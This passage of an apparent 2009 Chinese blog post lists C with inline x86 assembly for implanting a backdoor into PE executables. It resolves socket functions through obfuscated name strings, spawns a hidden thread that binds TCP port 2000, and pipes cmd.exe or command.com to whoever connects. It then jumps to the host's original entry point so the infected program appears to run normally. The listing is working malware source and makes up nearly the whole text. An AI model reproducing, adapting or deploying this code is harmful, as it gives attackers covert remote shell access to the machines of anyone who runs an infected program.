  372.     jz  exit1   
  373. //select入口地址    
  374.     mov         dword ptr [ebp-124h],'eles'   
  375.     mov         dword ptr [ebp-120h],'tc'   
  376.     mov         dword ptr [ebp-11Ch],0000h   
  377.     lea eax,[ebp-124h]   
  378.     push eax    
  379.     push ebx   
  380.     call dword ptr [ebp-8h]   
  381.     mov   dword ptr [ebp-4040h],eax//select入口地址    
  382.     cmp         eax,0   
  383.     jz  exit1   
  384. //recv入口地址    
  385.     mov         dword ptr [ebp-124h],'vcer'   
  386.     mov         dword ptr [ebp-120h],0000h   
  387.     lea eax,[ebp-124h]   
  388.     push eax    
  389.     push ebx   
  390.     call dword ptr [ebp-8h]   
  391.     mov   dword ptr [ebp-4044h],eax//recv入口地址    
  392.     cmp         eax,0   
  393.     jz  exit1   
  394. //send入口地址    
  395.     mov         dword ptr [ebp-124h],'dnes'   
  396.     mov         dword ptr [ebp-120h],0000h   
  397.     lea eax,[ebp-124h]   
  398.     push eax    
  399.     push ebx   
  400.     call dword ptr [ebp-8h]   
  401.     mov   dword ptr [ebp-4048h],eax//send入口地址    
  402.     cmp         eax,0   
  403.     jz  exit1   
  404. //htons入口地址    
  405.     mov         dword ptr [ebp-124h],'noth'   
  406.     mov         dword ptr [ebp-120h],'s'   
  407.     mov         dword ptr [ebp-11Ch],0000h   
  408.     lea eax,[ebp-124h]   
  409.     push eax    
  410.     push ebx   
  411.     call dword ptr [ebp-8h]   
  412.     mov   dword ptr [ebp-404Ch],eax//htons入口地址    
  413.     cmp         eax,0   
  414.     jz  exit1   
  415. //bind入口地址    
  416.     mov         dword ptr [ebp-124h],'dnib'   
  417.     mov         dword ptr [ebp-120h],0000h   
  418.     lea eax,[ebp-124h]   
  419.     push eax    
  420.     push ebx   
  421.     call dword ptr [ebp-8h]   
  422.     mov   dword ptr [ebp-4050h],eax//bind入口地址    
  423.     cmp         eax,0   
  424.     jz  exit1   
  425. //listen入口地址    
  426.     mov         dword ptr [ebp-124h],'tsil'   
  427.     mov         dword ptr [ebp-120h],'ne'   
  428.     mov         dword ptr [ebp-11Ch],0000h   
  429.     lea eax,[ebp-124h]   
  430.     push eax    
  431.     push ebx   
  432.     call dword ptr [ebp-8h]   
  433.     mov   dword ptr [ebp-4054h],eax//listen入口地址    
  434.     cmp         eax,0   
  435.     jz  exit1   
  436. //accept入口地址    
  437.     mov         dword ptr [ebp-124h],'ecca'   
  438.     mov         dword ptr [ebp-120h],'tp'   
  439.     mov         dword ptr [ebp-11Ch],0000h   
  440.     lea eax,[ebp-124h]   
  441.     push eax    
  442.     push ebx   
  443.     call dword ptr [ebp-8h]   
  444.     mov   dword ptr [ebp-4058h],eax//accept入口地址    
  445.     cmp         eax,0   
  446.     jz  exit1   
  447.     }   
  448. //load msvcrt.dll    
  449.     _asm   
  450.     {   
  451.     mov         dword ptr [ebp-124h],'cvsm'   
  452.     mov         dword ptr [ebp-120h],'d.tr'   
  453.     mov         dword ptr [ebp-11Ch],'ll'   
  454.     mov         dword ptr [ebp-118h],0000h   
  455.     lea eax,[ebp-124h]   
  456.     push eax    
  457.     call dword ptr [ebp-400ch]   
  458.     cmp         eax,0   
  459.     jz  exit1   
  460.     mov ebx,eax   
  461. //memset入口地址    
  462.     mov         dword ptr [ebp-124h],'smem'   
  463.     mov         dword ptr [ebp-120h],'te'   
  464.     mov         dword ptr [ebp-11Ch],0000h   
  465.     lea eax,[ebp-124h]   
  466.     push eax    
  467.     push ebx   
  468.     call dword ptr [ebp-8h]   
  469.     mov   dword ptr [ebp-4090h],eax//memset入口地址    
  470.     cmp         eax,0   
  471.     jz  exit1   
  472.     }   
  473.    
  474. //////////////////////////////////////////////////////////////    
  475.    
  476. //建立后门线程    
  477.    
  478. /////////////////////////////////////////////////////////////    
  479.     _asm   
  480.     {   
  481.    call    ex   
  482.    add     ecx,32h //取得后门代码的地址    
  483.    mov     dword ptr [ebp-8],1   
  484.    mov     dword ptr [ebp-0Ch],0   
  485.    mov     dword ptr [ebp-10h],0Ch   
  486.    lea     eax,[ebp-4]   
  487.    push    eax   
  488.    push    0   
  489.    push    0   
  490.    push    ecx   
  491.    push    0   
  492.    lea     ecx,[ebp-10h]   
  493.    push    ecx   
  494.    call    dword ptr [ebp-4008h]   
  495.    call    exit1 //返回真正的代码    
  496.         }   
  497. //////////////////////////////////////////////////////////////    
  498. //建立后门    
  499. /////////////////////////////////////////////////////////////    
  500.     _asm   
  501.    {   
  502.         mov eax,0x400   
  503.     call ex1   
  504.     mov ebp,dword ptr [ecx-0C70h]   
  505.    mov     byte ptr [ebp-1340h],0Dh   
  506.    mov     dword ptr [ebp-11ECh],0FFFFFFFFh   
  507.    mov     dword ptr [ebp-1DCh],0   
  508.    mov     dword ptr [ebp-1D8h],32h   
  509.    mov     dword ptr [ebp-1E4h],10h   
  510.    call    dword ptr [ebp-4004h]   
  511.    cmp     eax,80000000h   
  512.    jnb     loc_0040106C   
  513.    mov     dword ptr [ebp-11ECh],1   
  514.    mov     dword ptr [ebp-4118h],'.dmc'   
  515.    mov     dword ptr [ebp-4114h],'exe'   
  516.    mov     dword ptr [ebp-4110h],00000000h   
  517.    jmp     loc_0040107D   
  518. loc_0040106C:   
  519.    mov     dword ptr [ebp-11ECh],0   
  520.    mov     dword ptr [ebp-4118h],'mmoc'   
  521.    mov     dword ptr [ebp-4114h],'.dna'   
  522.    mov     dword ptr [ebp-4110h],'moc'   
  523. loc_0040107D:   
  524.    lea     eax,[ebp-1D4h]   
  525.    push    eax   
  526.    push    101h   
  527.    call    dword ptr [ebp-4030h]   
  528.    push    0   
  529.    push    1   
  530.    push    2   
  531.    call    dword ptr [ebp-4038h]   
  532.    mov     [ebp-30h],eax   
  533.    push    0   
  534.    push    1   
  535.    push    2   
  536.    call    dword ptr [ebp-4038h]   
  537.    mov     [ebp-12F8h],eax   
  538.    mov     word ptr [ebp-28h],2   
  539.    push    7D0h   
  540.    call    dword ptr [ebp-404Ch]   
  541.    mov     [ebp-26h],ax   
  542.    mov     dword ptr [ebp-24h],0   
  543.    mov     dword ptr [ebp-44h],0Ch   
  544.    mov     dword ptr [ebp-40h],0   
  545.    mov     dword ptr [ebp-3Ch],1   
  546.    push    10h   
  547.    lea     ecx,[ebp-28h]   
  548.    push    ecx   
  549.    mov     edx,[ebp-30h]   
  550.    push    edx   
  551.    call    dword ptr [ebp-4050h]   
  552.    push    2   
  553.    mov     eax,[ebp-30h]   
  554.    push    eax   
  555.    call    dword ptr [ebp-4054h]   
  556. loc_004010F7:   
  557.    lea     ecx,[ebp-1E4h]   
  558.    push    ecx   
  559.    lea     edx,[ebp-28h]   
  560.    push    edx   
  561.    mov     eax,[ebp-30h]   
  562.    push    eax   
  563.    call    dword ptr [ebp-4058h]   
  564.    mov     [ebp-12F8h],eax   
  565.    cmp     dword ptr [ebp-12F8h],0FFFFFFFFh   
  566.    jnz     loc_00401121   
  567.    xor     eax,eax   
  568.    jmp     loc_00401419   
  569. loc_00401121:   
  570.    push    0   
  571.    lea     ecx,[ebp-44h]   
  572.    push    ecx   
  573.    lea     edx,[ebp-34h]   
  574.    push    edx   
  575.    lea     eax,[ebp-38h]   
  576.    push    eax   
  577.    call    dword ptr [ebp-4000h]   
  578.    test    eax,eax   
  579.    jnz     loc_00401140   
  580.    xor     eax,eax   
  581.    jmp     loc_00401419   
  582. loc_00401140:   
  583.    push    0   
  584.    lea     ecx,[ebp-44h]   
  585.    push    ecx   
  586.    lea     edx,[ebp-1E0h]   
  587.    push    edx   
  588.    lea     eax,[ebp-2Ch]   
  589.    push    eax   
  590.    call    dword ptr [ebp-4000h]   
  591.    push    44h   
  592.    push    0   
  593.    lea     ecx,[ebp-133Ch]   
  594.    push    ecx   
  595.    call    dword ptr [ebp-4090h]   
  596.    add     esp,0Ch   
  597.    lea     edx,[ebp-133Ch]   
  598.    push    edx   
  599.    call    dword ptr [ebp-4028h]   
  600.    mov     dword ptr [ebp-133Ch],44h   
  601.    mov     dword ptr [ebp-1310h],101h   
  602.    mov     word ptr [ebp-130Ch],0   
  603.    mov     eax,[ebp-34h]   
  604.    mov     [ebp-12FCh],eax   
  605.    mov     ecx,[ebp-2Ch]   
  606.    mov     [ebp-1304h],ecx   
  607.    mov     edx,[ebp-34h]   
  608.    mov     [ebp-1300h],edx   
  609.    lea     eax,[ebp-14h]   
  610.    push    eax   
  611.    lea     ecx,[ebp-133Ch]   
  612.    push    ecx   
  613.    push    0   
  614.    push    0   
  615.    push    0   
  616.    push    1   
  617.    push    0   
  618.    push    0   
  619.    lea     edx,[ebp-4118h]   
  620.    push    edx   
  621.    push    0   
  622.    call    dword ptr [ebp-402Ch]   
  623.    test    eax,eax   
  624.    jnz     loc_004011DD   
  625.    xor     eax,eax   
  626.    jmp     loc_00401419   
  627. loc_004011DD:   
  628.    push    0C8h   
  629.    call    dword ptr [ebp-4018h]   
  630. loc_004011E8:   
  631.    mov     eax,1   
  632.    test    eax,eax   
  633.    je      loc_004013C8   
  634.    push    1000h   
  635.    push    0   
  636.    lea     ecx,[ebp-11E8h]   
  637.    push    ecx   
  638.    call    dword ptr [ebp-4090h]   
  639.    add     esp,0Ch   
  640.    mov     dword ptr [ebp-12F4h],0   
  641. loc_00401215:   
  642.    cmp     dword ptr [ebp-12F4h],40h   
  643.    jnb     loc_00401240   
  644.    mov     edx,[ebp-12F4h]   
  645.    mov     eax,[ebp-12F8h]   
  646.    mov     [ebp+edx*4-12F0h],eax   
  647.    mov     ecx,[ebp-12F4h]   
  648.    add     ecx,1   
  649.    mov     [ebp-12F4h],ecx   
  650. loc_00401240:   
  651.    xor     edx,edx   
  652.    test    edx,edx   
  653.    jnz     loc_00401215   
  654.    lea     eax,[ebp-1DCh]   
  655.    push    eax   
  656.    push    0   
  657.    push    0   
  658.    lea     ecx,[ebp-12F4h]   
  659.    push    ecx   
  660.    push    0   
  661.    call    dword ptr [ebp-4040h]   
  662.    mov     [ebp-11F0h],eax   
  663.    cmp     dword ptr [ebp-11F0h],0   
  664.    je      loc_00401338   
  665.    cmp     dword ptr [ebp-11F0h],0FFFFFFFFh   
  666.    je      loc_00401338   
  667.    lea     edx,[ebp-12F4h]   
  668.    push    edx   
  669.    mov     eax,[ebp-12F8h]   
  670.    push    eax   
  671.    call    dword ptr [ebp-4034h]   
  672.    test    eax,eax   
  673.    jz      loc_004012B6   
  674.    push    0   
  675.    push    1000h   
  676.    lea     ecx,[ebp-11E8h]   
  677.    push    ecx   
  678.    mov     edx,[ebp-12F8h]   
  679.    push    edx   
  680.    call    dword ptr [ebp-4044h]   
  681.    mov     [ebp-1E8h],eax   
  682. loc_004012B6:   
  683.    cmp     dword ptr [ebp-1E8h],0   
  684.    ja      loc_004012C4   
  685.    jmp     loc_00401417   
  686. loc_004012C4:   
  687.    push    0   
  688.    lea     eax,[ebp-1E8h]   
  689.    push    eax   
  690.    mov     ecx,[ebp-1E8h]   
  691.    push    ecx   
  692.    lea     edx,[ebp-11E8h]   
  693.    push    edx   
  694.    mov     eax,[ebp-1E0h]   
  695.    push    eax   
  696.    call    dword ptr [ebp-401Ch]   
  697.    mov     [ebp-11F0h],eax   
  698.    cmp     dword ptr [ebp-11F0h],0   
  699.    jnz     loc_004012FC   
  700.    jmp     loc_00401415   
  701. loc_004012FC:   
  702.    cmp     dword ptr [ebp-11ECh],0   
  703.    jnz     loc_0040132A   
  704.    push    0   
  705.    lea     ecx,[ebp-1E8h]   
  706.    push    ecx   
  707.    push    1   
  708.    lea     edx,[ebp-1340h]   
  709.    push    edx   
  710.    mov     eax,[ebp-1E0h]   
  711.    push    eax   
  712.    call    dword ptr [ebp-401Ch]   
  713.    mov     [ebp-11F0h],eax   
  714. loc_0040132A:   
  715.    cmp     dword ptr [ebp-11F0h],0   
  716.    jnz     loc_00401338   
  717.    jmp     loc_00401413   
  718. loc_00401338:   
  719.    push    1000h   
  720.    push    0   
  721.    lea     ecx,[ebp-11E8h]   
  722.    push    ecx   
  723.    call    dword ptr [ebp-4090h]   
  724.    add     esp,0Ch   
  725.    push    0   
  726.    lea     edx,[ebp-4]   
  727.    push    edx   
  728.    push    0   
  729.    push    0   
  730.    push    0   
  731.    mov     eax,[ebp-38h]   
  732.    push    eax   
  733.    call    dword ptr [ebp-4020h]   
  734.    cmp     dword ptr [ebp-4],0   
  735.    jbe     loc_004013C3   
  736.    push    0   
  737.    lea     ecx,[ebp-1E8h]   
  738.    push    ecx   
  739.    mov     edx,[ebp-4]   
  740.    push    edx   
  741.    lea     eax,[ebp-11E8h]   
  742.    push    eax   
  743.    mov     ecx,[ebp-38h]   
  744.    push    ecx   
  745.    call    dword ptr [ebp-4024h]   
  746.    mov     [ebp-11F0h],eax   
  747.    cmp     dword ptr [ebp-11F0h],0   
  748.    jnz     loc_00401399   
  749.    jmp     loc_00401411   
  750. loc_00401399:   
  751.    push    0   
  752.    mov     edx,[ebp-4]   
  753.    push    edx   
  754.    lea     eax,[ebp-11E8h]   
  755.    push    eax   
  756.    mov     ecx,[ebp-12F8h]   
  757.    push    ecx   
  758.    call    dword ptr [ebp-4048h]   
  759.    mov     [ebp-11F0h],eax   
  760.    cmp     dword ptr [ebp-11F0h],0   
  761.    jg      loc_004013C3   
  762.    jmp     loc_0040140F   
  763. loc_004013C3:   
  764.    jmp     loc_004011E8   
  765. loc_004013C8:   
  766.    mov     edx,[ebp-1E0h]   
  767.    push    edx   
  768.    call    dword ptr [ebp-4010h]   
  769.    mov     eax,[ebp-38h]   
  770.    push    eax   
  771.    call    dword ptr [ebp-4010h]   
  772.    mov     ecx,[ebp-2Ch]   
  773.    push    ecx   
  774.    call    dword ptr [ebp-4010h]   
  775.    mov     edx,[ebp-34h]   
  776.    push    edx   
  777.    call    dword ptr [ebp-4010h]   
  778.    mov     eax,[ebp-12F8h]   
  779.    push    eax   
  780.    call    dword ptr [ebp-403Ch]   
  781.    push    3E8h   
  782.    call    dword ptr [ebp-4018h]   
  783.    jmp     loc_004010F7   
  784. loc_0040140F:   
  785.    jmp     loc_004013C8   
  786. loc_00401411:   
  787.    jmp     loc_004013C8   
  788. loc_00401413:   
  789.    jmp     loc_004013C8   
  790. loc_00401415:   
  791.    jmp     loc_004013C8   
  792. loc_00401417:   
  793.    jmp     loc_004013C8   
  794. loc_00401419:   
  795.    mov     esp,ebp   
  796.    pop     ebp   
  797.    ret   
  798.    }   
  799.       
  800. /////////////////////////////////////////////////////////////    
  801. ex:   
  802.     _asm   
  803.     {   
  804.         pop ecx   
  805.         push ecx   
  806.         ret   
  807.     }   
  808. ex1:   
  809.     _asm   
  810.     {   
  811.     call ex   
  812.     ret   
  813.     }   
  814. exit1:   
  815. ///////////////////////////////////////////////////////////////    
  816.    _asm   
  817.    {   
  818.     mov eax,0x401000 //这里需要更改为程序人口    
  819.     jmp eax   
  820.   }   
  821. return 0;   
  822. }  

posted on 2009-06-08 00:00 Yincheng  阅读(215)  评论(0) 编辑 收藏

这篇关于PE可执行文件的镶入式程序后门开发的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！
您可能喜欢
栏目导航